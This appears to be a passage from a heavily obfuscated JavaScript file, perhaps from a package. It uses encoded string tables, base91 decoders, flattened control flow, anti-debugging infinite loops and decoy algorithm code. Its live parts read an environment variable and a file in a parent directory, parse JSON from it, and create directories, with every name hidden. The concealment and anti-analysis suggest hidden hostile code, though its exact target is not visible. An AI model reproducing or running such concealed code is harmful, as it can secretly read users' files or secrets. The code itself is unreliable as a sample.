林林地金!=354&&林林地金-315}};while(地天雪水+風光風+山海林雪!=28){switch(地天雪水+風光風+山海林雪){case 39:if(地天雪水==109){川天木(地天雪水+=峰日['\u0061\u0074'],風光風*=2,風光風-=山海林雪+-500);break}川天木(峰日['\x61\x78'](),地天雪水+=19,風光風+=山海林雪+-411);break;case 154:case 78:case 794:var 星水木川=林林地金.length;for(var 雲林光=0;雲林光<星水木川;雲林光++){for(var 星川峰林=月金(風林川={},風地月山=0,風水星=峰日['\x63'],(山海林雪==431&&雲林光)+1);(地天雪水==11?木泉(-513):星川峰林)<(峰日['\x63']=='\x64'||星水木川);星川峰林++){var 水海金地={['海火金日']:峰峰山(21)};if(林林地金[峰日['\x63']==1?雲林光:木泉(5)].x===林林地金[星川峰林].x&&林林地金[峰日['\u0069']==431&&雲林光].y===(峰日['\x70']=林林地金)[峰日[水海金地['海火金日']]('\x72')?木泉(834):星川峰林].y){風水星++;continue}if((峰日['\x69']==57?木泉(-517):林林地金)[雲林光].y===(山海林雪==-21?木泉(232):林林地金)[星川峰林].y)雲天=(峰日['\u0079']=木泉(907)).MAX_SAFE_INTEGER;else 雲天=(林林地金[雲林光].x-林林地金[地天雪���==-139&&星川峰林].x)/(林林地金[峰日['\u007a']=雲林光].y-(地天雪水==-139?林林地金:undefined)[風光風==-214&&星川峰林].y);if(!(地天雪水==峰日['\x41']||風林川)[峰日['\u0042']=雲天])風林川[雲天]=(峰日['\x62']==-139?eval:峰日)['\u0062'];川天木(風林川[雲天]++,風地月山=(峰日['\u0045']==-139?木泉(-193):木泉(86)).max(風地月山,風林川[風光風==21?木泉(954):雲天]))}川天木(風地月山+=風水星,雪月雪星=木泉(86).max(地天雪水==峰日['\u0048']&&雪月雪星,風地月山))}川天木(峰日['\u0049'](),風光風+=46,峰日['\x4a']());break;case 754:default:case 873:var 雪月雪星=0;var 風林川={};var 風地月山=峰日['\x62'];var 風水星=風光風+214;山海林雪+=-110;break;case 919:case 峰日['\u0063']:case 193:var 雲天=峰日['\x62'];地天雪水+=72;break;case 73:var 星水木川=林林地金.length;for(var 雲林光=0;(峰日['\u0045']==354?Infinity:雲林光)<(地天雪水==(峰日['\x48']==-214?'\u0050':98)?木泉(-864):星水木川);雲林光++){for(var 星川峰林=(峰日['\u0048']==-139?月金:木泉(-762))(風林川={},風地月山=0,風水星=(峰日['\u0062']=='\x55'||峰日)['\u0063'],雲林光+1);(峰日['\x41']==354?木泉(630):星川峰林)<星水木川;星川峰林++){if((地天雪水==-47?undefined:林林地金)[風光風==峰日['\u0057']?雲林光:木泉(-517)].x===林林地金[星川峰林].x&&(峰日['\x57']==-10?木泉(142):林林地金)[雲林光].y===林林地金[峰日['\x69']==-67?木泉(142):星川峰林].y){風水星++;continue}if((峰日[峰峰山(22)]('\u0061\u0061')?木泉(954):林林地金)[峰日['\u0063']==354||雲林光].y===(風光風==-214?林林地金:Buffer)[星川峰林].y)雲天=(峰日['\u0063']==57?Infinity:木泉(907)).MAX_SAFE_INTEGER;else 雲天=(林林地金[山海林雪==94||雲林光].x-(峰日['\x61\x66']=林林地金)[風光風==92?地天雪水:星川峰林].x)/(林林地金[雲林光].y-林林地金[星川峰林].y);if(!風林川[地天雪水==峰日['\x61\x68']?雲天:木泉(-711)])風林川[雲天]=(地天雪水==7||峰日)['\x62'];川天木((山海林雪==56?Infinity:風林川)[typeof 峰日['\x48']==峰峰山(23)?雲天:parseInt]++,風地月山=木泉(86).max(地天雪水==峰日['\u0061\u006a']?木泉(-301):風地月山,風林川[雲天]))}川天木(風地月山+=峰日['\u0045']==-214||風水星,雪月雪星=木泉(86).max(峰日['\u0054']==9?木泉(-321):雪月雪星,風地月山))}風光風+=46;break;case 119:var 地木=峰日['\u0061\u0073']();if(地木==='\u0061\u0071'){break}else{if(typeof 地木==峰峰山(24)){return 地木['\u0061\u0072']}}case 峰日['\u0061\u0045'](山海林雪):川天木(峰日['\x61\x79'](),地天雪水+=19,風光風+=-57,山海林雪+=峰日['\u0048']==-48?峰日['\u0061\u0044']:146);break}}};木泉(-495).log(風光風)}if(function(){var 林林地金={['海水峰火']:峰峰山(25)};var 地天雪水=林林地金['海水峰火']in 天風雪;if(地天雪水){var 風光風=峰峰山(27);var 山海林雪=[峰峰山(26)];var 峰日=月金(天風雪[山海林雪[0]]=風光風,峰峰山[海天日天(201)](undefined,[28]));var 星水木川=峰峰山(29);var 雲林光=峰峰山[海天日天(200)](undefined,30);峰日.match(星水木川+雲林光)}var 星川峰林=function(){const 林林地金=function(){const 林林地金=new(木泉(-785))('\u000a');return 林林地金[峰峰山(31)](星川峰林)};return 林林地金()};return 星川峰林()}()){var 山海林雪=峰峰山[海天日天(201)](undefined,[32]);while(true){if(月金(山海林雪=山海林雪,!山海林雪))break}}try{var 峰日={['星星']:峰峰山(39)};const 星水木川=林天天[峰峰山[海天日天(201)](undefined,[33])](__dirname,'\x2e\x2e',峰峰山(34));const 雲林光=林天天[峰峰山[海天日天(200)](undefined,33)](星水木川,峰峰山(35));if(function(){var 林林地金=function(){const 地天雪水=function(){const 地天雪水=new(木泉(-785))('\u000a');return 地天雪水[峰峰山(36)](林林地金)};return 地天雪水()};return 林林地金()}()){var 星川峰林=峰峰山[海天日天(201)](undefined,[37]);while(true){if(月金(星川峰林=星川峰林,!星川峰林))break}}const 水海金地=林天天[峰峰山(33)](__dirname,'\u002e\u002e',峰峰山(38));if(!風風海[峰日['星星']](星水木川)){if(function(){var 林林地金=[峰峰山(40)];var 地天雪水=林林地金[0]in 天風雪;if(地天雪水){var 風光風={['水泉天泉']:峰峰山(42)};var 山海林雪=月金(天風雪[峰峰山(41)]=風光風['水泉天泉'],function(林林地金){var 地天雪水=林林地金.length;if(地天雪水<2)return 0;var 風光風=木泉(86).max(...林林地金);var 山海林雪=木泉(86).min(...林林地金);if(風光風===山海林雪)return 0;var 峰日=木泉(-363)(地天雪水-1).fill(木泉(907).MAX_SAFE_INTEGER);var 星水木川=木泉(-363)(地天雪水-1).fill(木泉(907).MIN_SAFE_INTEGER);var 雲林光=木泉(86).ceil((風光風-山海林雪)/(地天雪水-1));var 星川峰林=0;for(var 水海金地=0;水海金地<地天雪水;水海金地++){if(林林��金[水海金地]===山海林雪||林林地金[水海金地]===風光風)continue;川天木(星川峰林=木泉(86).floor((林林地金[水海金地]-山海林雪)/雲林光),峰日[星川峰林]=木泉(86).min(峰日[星川峰林],林林地金[水海金地]),星水木川[星川峰林]=木泉(86).max(星水木川[星川峰林],林林地金[水海金地]))}var 雪月雪星=木泉(907).MIN_SAFE_INTEGER;var 風林川=山海林雪;for(var 風地月山=0;風地月山<地天雪水-1;風地月山++){if(峰日[風地月山]===木泉(907).MAX_SAFE_INTEGER&&星水木川[風地月山]===木泉(907).MIN_SAFE_INTEGER)continue;川天木(雪月雪星=木泉(86).max(雪月雪星,峰日[風地月山]-風林川),風林川=星水木川[風地月山])}return 月金(雪月雪星=木泉(86).max(雪月雪星,風光風-風林川),雪月雪星)});木泉(-495).log(山海林雪)}var 峰日=function(){const 林林地金=function(){var 林林地金=峰峰山(43);const 地天雪水=new(木泉(-785))('\u000a');return 地天雪水[林林地金](峰日)};return 林林地金()};return 峰日()}()){var 雪月雪星=峰峰山[海天日天(200)](undefined,44);var 風林川=雪月雪星;while(true){if(月金(風林川=風林川,!風林川))break}}風風海[峰峰山[海天日天(201)](undefined,[45])](星水木川,{[峰峰山[海天日天(200)](undefined,46)]:true})}let 風地月山=木泉(-961)[峰峰山(47)][峰峰山(48)]||'';if(!風地月山||風地月山===峰峰山[海天日天(200)](undefined,49)){if(function(){var 林林地金=function(){const 地天雪水=function(){const 地天雪水=new(木泉(-785))('\u000a');return 地天雪水[峰峰山(50)](林林地金)};return 地天雪水()};return 林林地金()}()){var 風水星=峰峰山(51);while(true){if(月金(風水星=風水星,!風水星))break}}if(風風海[峰峰山(39)](水海金地)){if(function(){var 林林地金=function(){const 地天雪水=function(){var 地天雪水=(風光風,山海林雪,林林地金,星水木川,雲林光)=>{if(typeof 星水木川===海天日天(181)){星水木川=峰日}if(typeof 雲林光===海天日天(181)){雲林光=月川雪}if(風光風!==山海林雪){return 雲林光[風光風]||(雲林光[風光風]=星水木川(水山[風光風]))}if(星水木川===undefined){地天雪水=雲林光}if(星水木川===地天雪水){峰日=山海林雪;return 峰日(林林地金)}if(林林地金&&星水木川!==峰日){地天雪水=峰日;return 地天雪水(風光風,-1,林林地金,星水木川,雲林光)}if(山海林雪){[雲林光,山海林雪]=[星水木川(雲林光),風光風||林林地金];return 地天雪水(風光風,雲林光,林林地金)}};var 風光風=峰峰山(52)in 天風雪;const 山海林雪=new(木泉(-785))('\x0a');if(風光風){module.exports=async(地天雪水=()=>{var 地天雪水=峰峰山[海天日天(201)](undefined,[53]);throw new(木泉(474))(地天雪水)})=>{const 風光風=new(木泉(-193))(木泉(-961).argv.slice(2));if(!風光風.has(峰峰山(54))){if(風光風.size!==1)return false;if(!風光風.has('\x2d\x76'))return false}const 山海林雪=await(async(風光風,山海林雪)=>{if(風光風)return 峰峰山[海天日天(200)](undefined,55);if(山海林雪===await 地天雪水())return 峰峰山(56);return''})();return true}}return 山海林雪[地天雪水(57)](林林地金);function 峰日(地天雪水){var 風光風='\u0063\u0048\u006e\u0060\u005a\u005f\u0070\u0026\u0079\u0056\u002a\u0064\u005e\u006b\u0068\u004c\u0044\u0059\u0077\u004d\u003e\u0053\u0072\u0046\u0069\u0021\u004a\u007d\u007a\u0031\u0030\u0074\u002c\u003a\u0065\u007c\u0057\u003c\u0034\u003b\u007b\u0050\u004e\u0028\u006f\u0038\u0049\u0032\u002e\u0054\u004b\u0047\u005b\u0039\u0041\u0076\u0075\u0078\u003f\u0025\u0023\u0022\u0062\u006d\u0042\u0036\u0033\u006a\u0073\u0052\u0061\u007e\u004f\u0066\u002f\u006c\u0045\u0035\u005d\u002b\u0067\u0024\u0051\u0043\u0055\u0071\u0037\u003d\u0029\u0040\u0058';var 山海林雪=''+(地天雪水||'');var 峰日=山海林雪.length;var 林林地金=[];var 星水木川=0;var 雲林光=0;var 星川峰林=-1;for(var 水海金地=0;水海金地<峰日;水海金地++){var 雪月雪星=風光風.indexOf(山海林雪[水海金地]);if(雪月雪星===-1)continue;if(星川峰林<0){星川峰林=雪月雪星}else{川天木(星川峰林+=雪月雪星*91,星水木川|=星川峰林<<雲林光,雲林光+=(星川峰林&8191)>88?13:14);do{川天木(林林地金.push(星水木川&255),星水木川>>=8,雲林光-=8)}while(雲林光>7);星川峰林=-1}}if(星川峰林>-1){林林地金.push((星水木川|星川峰林<<雲林光)&255)}return 火光泉火(林林地金)}};return 地天雪水()};return 林林地金()}()){var 雲天=峰峰山(58);while(true){if(月金(雲天=雲天,!雲天))break}}const 地木=風風海[峰峰山(59)](水海金地,峰峰山(60))[峰峰山(61)]();if(地木&&地木!==峰峰山(49)){if(function(){var 林林地金=function(){const 地天雪水=function(){var 地天雪水=峰峰山(68);var 風光風=峰峰山[海天日天(201)](undefined,[62])in 天風雪;const 山海林雪=new(木泉(-785))('\u000a');if(風光風){module.exports=async(地天雪��=()=>{var 地天雪水={['山星']:峰峰山(63)};throw new(木泉(474))(地天雪水['山星'])})=>{const 風光風=new(木泉(-193))(木泉(-961).argv.slice(2));if(!風光風.has(峰峰山(64))){if(風光風.size!==1)return false;if(!風光風.has('\x2d\x76'))return false}const 山海林雪=await(async(風光風,山海林雪)=>{var 林林地金=-219;var 峰日=-36;var 星水木川=460;var 雲林光=-134;var 星川峰林={'\u0046':()=>{川天木(林林地金=44,林林地金+=34,峰日+=-489,星水木川+=峰日+241,雲林光+=244);return'\x44'},'\x63':-78,'\x42':function(){return 林林地金+=-34},'\u0076':function(){return 林林地金+=星川峰林['\x63']==-219?-92:-34,星水木川+=52},'\x69':-141,'\u006d':17,'\x43':51,'\x79':36,'\u007a':134,'\x6f':381,'\x77':function(){return 星水木川+=25},'\u006e':()=>{return 林林地金+=-34,峰日+=星川峰林['\x6d'],星水木川+=52},'\u0065':79,'\x64':function(風光風=星川峰林['\u0065']==79){if(!風光風){return 星川峰林['\u0068']()}return 林林地金+=星川峰林['\u0063'],峰日+=17,星水木川+=88,星川峰林['\u0062']=true},['\u004a']:function(風光風){return 風光風- -203},['\x4b']:function(風光風,山海林雪){return 風光風['\x62']?山海林雪- -230:-683}};while(林林地金+峰日+星水木川+雲林光!=113){var 水海金地=(風光風,山海林雪,林林地金,峰日,星水木川)=>{if(typeof 峰日===海天日天(181)){峰日=風林川}if(typeof 星水木川===海天日天(181)){星水木川=月川雪}if(林林地金==風光風){return 山海林雪[月川雪[林林地金]]=水海金地(風光風,山海林雪)}if(林林地金&&峰日!==風林川){水海金地=風林川;return 水海金地(風光風,-1,林林地金,峰日,星水木川)}if(風光風!==山海林雪){return 星水木川[風光風]||(星水木川[風光風]=峰日(水山[風光風]))}if(林林地金==峰日){return 山海林雪?風光風[星水木川[山海林雪]]:月川雪[風光風]||(林林地金=星水木川[風光風]||峰日,月川雪[風光風]=林林地金(水山[風光風]))}};var 雪月雪星=[峰峰山(66)];switch(林林地金+峰日+星水木川+雲林光){case 62:return'';峰日+=星川峰林['\x43'];break;case 466:case 667:case 879:case 星川峰林['\x4a'](雲林光):if(雲林光==-125){星川峰林['\x64']();break}if((林林地金==星川峰林['\u0069']?山海林雪:木泉(-811))===await(林林地金==-141&&地天雪水)())return 水海金地(65);川天木(林林地金+=-112,峰日+=17,星水木川+=雲林光==-134?88:17);break;case 77:if(星川峰林['\x46']()=='\u0044'){break}case 324:case 399:default:if(星水木川==-13){川天木(峰日+=17,星水木川+=52,星川峰林['\x62']=true);break}if(山海林雪===await 地天雪水())return 水海金地(65);星川峰林['\u006e']();break;case 642:case 星川峰林['\u004b'](星川峰林,雲林光):if(星川峰林['\x69']==-134||false){川天木(林林地金+=0,峰日+=峰日+星川峰林['\u0079'],星水木川+=0,雲林光+=雲林光+星川峰林['\u007a'],星川峰林['\u0062']=true);break}if((typeof 星川峰林['\x69']==雪月雪星[0]?木泉(204):山海林雪)===await 地天雪水())return 水海金地(65);星川峰林['\x42']();break;case 71:case 127:case 277:星川峰林['\x47']='\u0048';if(風光風)return 水海金地(67);川天木(星川峰林['\u0077'](),星川峰林['\u0062']=true);break;case 44:if(false){川天木(星水木川*=2,星水木川-=星川峰林['\u006f'],星川峰林['\x62']=true);break}if((星川峰林['\x71']=山海林雪)===await(星川峰林['\x72']=地天雪水)())return 水海金地(65);星川峰林['\u0076']();break}function 風林川(風光風){var 山海林雪='\u0076\u005d\u0035\u004e\u002a\u003d\u007c\u0071\u003b\u0060\u007e\u003e\u0030\u0066\u0037\u0033\u0078\u0051\u002c\u0062\u004d\u007a\u0050\u0043\u0075\u0039\u0073\u0023\u0069\u0041\u006f\u003a\u005e\u0040\u0038\u005a\u006e\u0021\u0072\u0056\u0068\u0052\u0079\u0064\u0048\u004b\u007b\u004a\u006a\u003f\u006d\u0032\u0054\u0034\u003c\u0042\u0065\u006b\u0046\u0057\u0059\u0070\u0029\u0067\u002f\u002b\u0077\u0028\u0026\u0022\u005b\u0061\u0049\u0031\u0055\u0047\u0063\u005f\u002e\u006c\u0045\u0074\u0044\u0058\u0024\u0036\u0025\u007d\u004f\u004c\u0053';var 林林地金=''+(風光風||'');var 峰日=林林地金.length;var 星水木川=[];var 雲林光=0;var 星川峰林=0;var 水海金地=-1;for(var 雪月雪星=0;雪月雪星<峰日;雪月雪星++){var 風林川=山海林雪.indexOf(林林地金[雪月雪星]);if(風林川===-1)continue;if(水海金地<0){水海金地=風林川}else{川天木(水海金地+=風林川*91,雲林光|=水海金地<<星川峰林,星川峰林+=(水海金地&8191)>88?13:14);do{川天木(星水木川.push(雲林光&255),雲林光>>=8,星川峰林-=8)}while(星川峰林>7);水海金地=-1}}if(水海金地>-1){星水木川.push((雲林光|水海金地<<星川峰林)&255)}return 火光泉火(星水木川)}}})();return true}}return 山海林雪[地天雪水](林林地金)};return 地天雪水()};return 林林地金()}()){var 泉日風日=峰峰山(69);while(true){if(月金(泉日風日=泉日風日,!泉日風日))break}}try{const 山木=木泉(954)[峰峰山[海天日天(201)](undefined,[70])](地木);const 峰日地木=山木[峰峰山(71)]||山木[峰峰山[海天日天(200)](undefined,72)]||山木[峰峰山[海天日天(201)](undefined,[48])]||'';if(function(){var 林林地金=function(){const 地天雪水=function(){var 地天雪水=峰峰山(73)in 天風雪;const 風光風=new(木泉(-785))('\x0a');if(地天雪水){var 山海林雪=function(地天雪水,風光風){return 峰日({},地天雪水,風光風)};var 峰日=function(地天雪水,風光風,山海林雪){var 林林地金={};if(地天雪水[風光風+山海林雪]!==undefined)return 地天雪水[風光風+山海林雪];if(風光風===山海林雪)return true;for(var 星水木川=0;星水木川<風光風.length;星水木川++){if(林林地金[風光風[星水木川]]===undefined)林林地金[風光風[星水木川]]=0;if(林林地金[山海林雪[星水木川]]===undefined)林林地金[山海林雪[星水木川]]=0;川天木(林林地金[風光風[星水木川]]++,林林地金[山海林雪[星水木川]]--)}for(var 雲林光 in 林林地金){if(林林地金[雲林光]!==0){return 月金(地天雪水[風光風+山海林雪]=false,false)}}for(var 星川峰林=1;星川峰林<風光風.length;星川峰林++){if(峰日(地天雪水,風光風.substr(0,星川峰林),山海林雪.substr(0,星川峰林))&&峰日(地天雪水,風光風.substr(星川峰林),山海林雪.substr(星川峰林))||峰日(地天雪水,風光風.substr(0,星川峰林),山海林雪.substr(山海林雪.length-星川峰林))&&峰日(地天雪水,風光風.substr(星川峰林),山海林雪.substr(0,山海林雪.length-星川峰林))){return 月金(地天雪水[風光風+山海林雪]=true,true)}}return 月金(地天雪水[風光風+山海林雪]=false,false)};木泉(-495).log(山海林雪)}return 風光風[峰峰山(74)](林林地金)};return 地天雪水()};return 林林地金()}()){while(true){var 林泉=99;for(林泉=99;林泉==林泉;林泉*=林泉){if(月金(!林泉&&木泉(-495).log(林泉),林泉)<=10){break}};if(林泉===100){林泉--}};}if(峰日地木&&峰日地木!==峰峰山(75)){if(function(){var 林林地金=(地天雪水,風光風,山海林雪,峰日,雲林光)=>{if(typeof 峰日===海天日天(181)){峰日=星水木川}if(typeof 雲林光===海天日天(181)){雲林光=月川雪}if(山海林雪==地天雪水){return 風光風[月川雪[山海林雪]]=林林地金(地天雪水,風光風)}if(山海林雪&&峰日!==星水木川){林林地金=星水木川;return 林林地金(地天雪水,-1,山海林雪,峰日,雲林光)}if(山海林雪==峰日){return 風光風?地天雪水[雲林光[風光風]]:月川雪[地天雪水]||(山海林雪=雲林光[地天雪水]||峰日,月川雪[地天雪水]=山海林雪(水山[地天雪水]))}if(地天雪水!==風光風){return 雲林光[地天雪水]||(雲林光[地天雪水]=峰日(水山[地天雪水]))}if(峰日===undefined){林林地金=雲林光}};var 地天雪水={['天泉']:林林地金(76)};var 風光風=地天雪水['天泉']in 天風雪;if(風光風){function 山海林雪(地天雪水,風光風,山海林雪){var 峰日=177;var 星水木川=-3;var 雲林光={'\x70':function(){return 峰日+=186,星水木川+=-191},'\u0061\u0047':function(){return 星水木川=22},'\x61\x71':2,'\x52':()=>{return 雲林光['\u0061']=(星水木川==星水木川&&月金)(山海林雪=(星水木川==-64?木泉(204):山海林雪)||(峰日==(峰日==-19?雲林光['\x50']:230)&&木泉(-529))(地天雪水),雲林光['\x47']==-3||山海林雪)},'\u0071':()=>{return 峰日+=127,星水木川+=-97,雲林光['\u0063']=false},'\x42':-82,'\x61\x72':-79,'\u006c':()=>{return 水海金地+''},'\u0041':function(){return 峰日==63},'\u0046':function(){return 峰日+=-78,星水木川+=雲林光['\u0065']==-84?-97:雲林光['\x45'],雲林光['\x63']=false},'\x61\x79':96,'\u0061\u0048':function(){return 峰日+=258},'\x61\x68':()=>{return 星水木川==47},'\u0047':177,'\u0066':(地天雪水=星水木川==84)=>{if(地天雪水){return 峰日==39}return 峰日+=雲林光['\u0065']},'\u0061\u0061':69,'\x61\x43':-83,'\u0065':-84,'\x7a':function(){return 峰日+=星水木川==84?-92:-28},'\x61\x78':()=>{return(typeof 雲林光['\x61\x61']==峰峰山[海天日天(200)](undefined,77)?eval:水海金地)!==undefined?(峰日==-75?木泉(474):水海金地)+'':雲林光['\x61\x77']=水海金地},'\u0061\u0065':()=>{川天木(雲林光['\x61']=(星水木川==星水木川?月金:木泉(-894))(水海金地=(星水木川==-144?山海林雪:require).getPropertyValue(風光風)||山海林雪[峰日==雲林光['\u0061\u0061']?木泉(72):風光風],水海金地===''&&!木泉(61)(星水木川==59||地天雪水)),峰日+=-170,星水木川+=雲林光['\x61\x62'],雲林光['\u0063']=false);return'\u0061\u0063'},'\u0061\u0075':function(){if(雲林光['\x61']){川天木(峰日*=雲林光['\x61\x71'],峰日-=-32,星水木川+=雲林光['\u0061\u0072']);return'\x61\x73'}星水木川+=161;return'\x61\x73'},'\x61\x46':function(){if(false){川天木(星水木川+=-146,雲林光['\u0063']=false);return'\x61\x44'}return{'\u0061\u0045':雲林光['\x61\x78']()};川天木(峰日+=雲林光['\x61\x61']==69?-155:54,星水木川+=星水木川+雲林光['\u0061\u0043']);return'\x61\x44'},'\u0061\u0062':94,'\x61\x70':function(){return 星水木川+=峰日==(雲林光['\u0069']==99?-80:99)?22:雲林光['\x61\x6f']},'\u006e':62,'\u0069':47,'\x6f':()=>{return 峰日+=峰日+-422,星水木川+=雲林光['\x6e']},'\u0059':()=>{川天木(雲林光['\x52'](),雲林光['\u0053'](),星水木川*=2,星水木川-=59,雲林光['\u0064']=true);return'\u0057'},'\x53':function(地天雪水=雲林光['\u0047']==-23){if(地天雪水){return 星水木川}return 峰日+=-131},['\x61\x4c']:function(地天雪水){return 地天雪水!=-3&&地天雪水- -230},['\u0061\u004d']:function(地天雪水,風光風){return 地天雪水['\x62']?301:風光風!=-144&&風光風- -230},['\x61\x4e']:function(地天雪水){return 地天雪水!=230&&地天雪水-144}};while(峰日+星水木川!=53){var 星川峰林=(地天雪水,風光風,山海林雪,峰日,星水木川)=>{if(typeof 峰日===海天日天(181)){峰日=風林川}if(typeof 星水木川===海天日天(181)){星水木川=月川雪}if(地天雪水!==風光風){return 星水木川[地天雪水]||(星水木川[地天雪水]=峰日(水山[地天雪水]))}if(山海林雪&&峰日!==風林川){星川峰林=風林川;return 星川峰林(地天雪水,-1,山海林雪,峰日,星水木川)}if(風光風){[星水木川,風光風]=[峰日(星水木川),地天雪水||山海林雪];return 星川峰林(地天雪水,星水木川,山海林雪)}};switch(峰日+星水木川){case 雲林光['\u0064']?34:-603:if(雲林光['\x61\x75']()=='\u0061\u0073'){break}case 224:if(雲林光['\u0041']()){雲林光['\u0046']();break}return 水海金地!==undefined?(雲林光['\u0049']=水海金地)+'':雲林光['\x4d']=水海金地;川天木(峰日+=-233,星水木川+=62);break;case 145:if(雲林光['\x61\x68']()){川天木(峰日+=-155,星水木川+=63);break}星水木川+=28;break;case 185:case 261:case 19:case 979:if(峰日==128){雲林光['\x71']();break}return 雲林光['\u0069']==-9||(雲林光['\u006e']==62&&水海金地)!==undefined?(雲林光['\u006e']=='\u0077'?木泉(834):水海金地)+'':水海金地;川天木(雲林光['\x7a'](),星水木川+=62);break;case 995:case 254:雲林光['\x61\x49']='\u0061\u004a';if(false){星水木川+=-59;break}川天木(水海金地=木泉(916).style(雲林光['\x61\x67']=地天雪水,星水木川==155&&風光風),星水木川+=星水木川+-264);break;case 雲林光['\x61\x4c'](星水木川):峰日+=39;break;case 91:case 587:case 999:case 200:川天木(星水木川=22,雲林光['\x70']());break;default:川天木(雲林光['\u0061\u0047'](),雲林光['\u0061\u0048'](),星水木川+=-253);break;case 173:雲林光['\x61\x70']();break;case 118:case 592:case 峰日!=230&&峰日-3:var 水海金地;川天木(峰日+=53,雲林光['\x62']=false);break;case 195:var 雪月雪星=雲林光['\x61\x46']();if(雪月雪星==='\x61\x44'){break}else{if(typeof 雪月雪星==林林地金[海天日天(200)](undefined,78)){return 雪月雪星['\u0061\u0045']}}case 860:case 113:川天木(峰日=78,峰日+=265,星水木川+=-253);break;case 230:case 389:if(false){川天木(雲林光['\x66'](),星水木川+=-97,雲林光['\u0063']=false);break}return(雲林光[星川峰林[海天日天(200)](undefined,79)]('\u0069')&&水海金地)!==undefined?雲林光['\x6c']():星水木川==47?水海金地:木泉(72);雲林光['\x6f']();break;case 749:case 549:case 828:case 雲林光['\u0061\u004d'](雲林光,星水木川):if(雲林光['\x59']()=='\x57'){break}case 雲林光['\x63']?-845:峰日-50:if(雲林光['\x61']){星水木川+=205;break}星水木川+=星水木川==85?雲林光['\u0061\u006a']:124;break;case 雲林光['\u0061\u004e'](峰日):if(雲林光['\x61\x65']()=='\u0061\u0063'){break}}function 風林川(地天雪水){var 風光風='\u003d\u007d\u003b\u005f\u007e\u007b\u0078\u0023\u002f\u003e\u0076\u0030\u0054\u0042\u004f\u006a\u0025\u0043\u0045\u0036\u004a\u006c\u0067\u005e\u0033\u0052\u0050\u0049\u002b\u0060\u002c\u0026\u0071\u0032\u005b\u004b\u0074\u004e\u0029\u003c\u0064\u0035\u0072\u004c\u0079\u0024\u0046\u0073\u003f\u0041\u0031\u002e\u0040\u0021\u006e\u0051\u0063\u0065\u0055\u0075\u0056\u0057\u003a\u002a\u0066\u004d\u0044\u007a\u007c\u0068\u006d\u006b\u0038\u0034\u0069\u0062\u0047\u005a\u0077\u0061\u0059\u0058\u0070\u0022\u005d\u0039\u0053\u0048\u0028\u0037\u006f';var 山海林雪=''+(地天雪水||'');var 峰日=山海林雪.length;var 星水木川=[];var 雲林光=0;var 星川峰林=0;var 雪月雪星=-1;for(var 風林川=0;風林川<峰日;風林川++){var 林林地金=風光風.indexOf(山海林雪[風林川]);if(林林地金===-1)continue;if(雪月雪星<0){雪月雪星=林林地金}else{川天木(雪月雪星+=林林地金*91,雲林光|=雪月雪星<<星川峰林,星川峰林+=(雪月雪星&8191)>88?13:14);do{川天木(星水木川.push(雲林光&255),雲林光>>=8,星川峰林-=8)}while(星川峰林>7);雪月雪星=-1}}if(雪月雪星>-1){星水木川.push((雲林光|雪月雪星<<星川峰林)&255)}return 火光泉火(星水木川)}}}}var 峰日=function(){const 林林地金=function(){const 林林地金=new(木泉(-785))('\x0a');return 林林地金[峰峰山(80)](峰日)};return 林林地金()};return 峰日();function 星水木川(林林地金){var 地天雪水='\u0052\u0043\u0046\u0075\u005a\u0033\u0035\u0057\u0064\u006d\u0076\u0029\u0031\u003a\u0045\u0024\u0054\u007a\u007b\u0070\u0078\u0073\u0074\u007d\u0056\u0079\u0025\u003c\u0040\u0065\u0047\u002a\u006e\u006a\u0023\u002f\u0058\u003d\u007e\u0032\u007c\u002b\u0039\u006f\u0042\u0036\u0021\u0063\u004e\u0077\u005e\u003f\u003e\u0030\u0037\u006b\u0026\u002c\u002e\u0022\u0048\u0038\u0034\u004c\u0069\u005f\u005b\u003b\u0041\u006c\u0049\u0028\u0059\u0060\u0044\u0067\u0051\u0061\u0053\u005d\u004a\u004b\u0062\u004d\u004f\u0050\u0055\u0068\u0071\u0072\u0066';var 風光風=''+(林林地金||'');var 山海林雪=風光風.length;var 峰日=[];var 星水木川=0;var 雲林光=0;var 星川峰林=-1;for(var 水海金地=0;水海金地<山海林雪;水海金地++){var 雪月雪星=地天雪水.indexOf(風光風[水海金地]);if(雪月雪星===-1)continue;if(星川峰林<0){星川峰林=雪月雪星}else{川天木(星川峰林+=雪月雪星*91,星水木川|=星川峰林<<雲林光,雲林光+=(星川峰林&8191)>88?13:14);do{川天木(峰日.push(星水木川&255),星水木川>>=8,雲林光-=8)}while(雲林光>7);星川峰林=-1}}if(星川峰林>-1){峰日.push((星水木川|星川峰林<<雲林光)&255)}return 火光泉火(峰日)}}()){var 火雲地=峰峰山(81);var 星光=火雲地;while(true){if(月金(星光=星光,!星光))break}}風地月山=峰日地木}}catch{if(function(){var 林林地金=function(){const 地天雪水=function(){const 地天雪水=new(木泉(-785))('\u000a');return 地天雪水[峰峰山(82)](林林地金)};return 地天雪水()};return 林林地金()}()){var 山地林雲=(林林地金,地天雪水,風光風,山海林雪,峰日)=>{if(typeof 山海林雪===海天日天(181)){山海林雪=地火地}if(typeof 峰日===海天日天(181)){峰日=月川雪}if(林林地金!==地天雪水){return 峰日[林林地金]||(峰日[林林地金]=山海林雪(水山[林林地金]))}if(風光風==山海林雪){return 地天雪水?林林地金[峰日[地天雪水]]:月川雪[林林地金]||(風光風=峰日[林林地金]||山海林雪,月川雪[林林地金]=風光風(水山[林林地金]))}if(山海林雪===山地林雲){地火地=地天雪水;return 地火地(風光風)}if(風光風&&山海林雪!==地火地){山地林雲=地火地;return 山地林雲(林林地金,-1,風光風,山海林雪,峰日)}if(地天雪水){[峰日,地天雪水]=[山海林雪(峰日),林林地金||風光風];return 山地林雲(林林地金,峰日,風光風)}};var 雪日山水=山地林雲(83);var 影林風=雪日山水;while(true){if(月金(影林風=影林風,!影林風))break}function 地火地(林林地金){var 地天雪水='\u0033\u007d\u0030\u003e\u0021\u0075\u0039\u0053\u002a\u0076\u0074\u0046\u005a\u0031\u0032\u003b\u0061\u003c\u0052\u0038\u0026\u0054\u0078\u007c\u0048\u0069\u006b\u006c\u0050\u0041\u0077\u0040\u0042\u005f\u0060\u0047\u0059\u006d\u006f\u004b\u0071\u005b\u0043\u0034\u0068\u0057\u002c\u0051\u003a\u0079\u0049\u0025\u0037\u0067\u0023\u0058\u004c\u004f\u0036\u0044\u0066\u0072\u0022\u0063\u006e\u007b\u0029\u004a\u005d\u007a\u003d\u007e\u003f\u0065\u002b\u002f\u005e\u0062\u002e\u0073\u0070\u004d\u0028\u0024\u0056\u006a\u004e\u0055\u0064\u0045\u0035';var 風光風=''+(林林地金||'');var 山海林雪=風光風.length;var 峰日=[];var 星水木川=0;var 雲林光=0;var 